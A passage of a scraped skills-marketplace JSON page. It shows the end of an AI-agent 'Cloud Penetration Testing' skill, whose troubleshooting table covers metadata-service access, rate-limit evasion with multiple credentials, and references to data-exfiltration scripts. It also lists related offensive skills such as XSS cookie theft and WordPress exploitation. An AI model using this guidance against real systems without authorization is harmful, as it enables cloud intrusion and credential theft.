us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant\u002Fproject; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references\u002Fadvanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n",{"name":5,"metadata":45,"description":7},{"author":46,"version":47},"zebbern","1.1","main","eac60cc6e0b6baa2a05a765a851fb10638f4e733",".agent\u002Fskills\u002Fskills\u002Fcloud-penetration-testing","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist","https:\u002F\u002Fgithub.com\u002FGabriellmaia01","https:\u002F\u002Fportfolio-bice-theta-81.vercel.app\u002F","💻 Desenvolvimento De Software_\r\n\r\n⚙️ Engenharia De Software\r\n","2026-11-10 08:31:19",{"source":8,"skillName":5,"commands":57,"prompt":67,"zipAvailable":68},[58,61,64],{"tool":59,"command":60},"npx","npx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"Cloud Penetration Testing\"",{"tool":62,"command":63},"bunx","bunx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"Cloud Penetration Testing\"",{"tool":65,"command":66},"pnpm","pnpm dlx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"Cloud Penetration Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fcloud-penetration-testing\u002FSKILL.md",true,[70],{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"references\u002Fadvanced-cloud-scripts.md","REFERENCE","参考文档",11654,"https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fcloud-penetration-testing\u002Freferences\u002Fadvanced-cloud-scripts.md",[77,101,124,144,155,175],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":86,"publishedAt":40},"01M6CCFWA9JJ23708FSKK1QNBW","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[83],{"categoryNo":84,"categoryName":85,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[87,88,89,90,91,92,93,94,95,96,97,98,99,100],"zapier make patterns","writing","workflow","automation","code","apache","how","automate","integrations","business","use","simplicity","power","complexity",{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":111,"publishedAt":40},"01M6CCFSBPM49S618W7G4NHH13","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[107,108],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":109,"categoryName":110,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[112,113,114,115,116,24,117,118,119,120,28,121,122,38,123,30,39],"injection","scripting","html","site","Cross Site Scripting and HTML Injection Testing","html injection testing","cookies","applications","xss","content","web","vulnerabilities",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":139,"publishedAt":40},"01M6CCFJ9XTPXHTE4JR06WY475","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[130,131,134],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":135,"categoryName":136,"taxonomyType":137,"taxonomyTypeDesc":138},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[88,140,141,142,143,97],"writing skills","deployment","work","editing",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":152,"publishedAt":40},"01M6CCFG98EMZZ43D1CPZZZ54E","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[150,151],{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":135,"categoryName":136,"taxonomyType":137,"taxonomyTypeDesc":138},[88,153,154,91,97],"writing plans","spec",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":162,"publishedAt":40},"01M6CCFDPACVC9ZM8TN63MGBP5","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[161],{"categoryNo":84,"categoryName":85,"taxonomyType":21,"taxonomyTypeDesc":22},[163,90,89,164,165,166,167,36,92,168,169,170,171,172,173,174],"Workflow Automation","network","ai agents","accessibility","workflows","flow","Production","execution","inngest","parallel","orchestrator","resume",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":182,"publishedAt":40},"01M6CCFB0KAB0PPNV38XQPX6YX","WordPress Penetration Testing","This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[181],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[24,177,26,183,39,123,35,184,30,97,28,185,27],"wordpress","plugins","pentest"]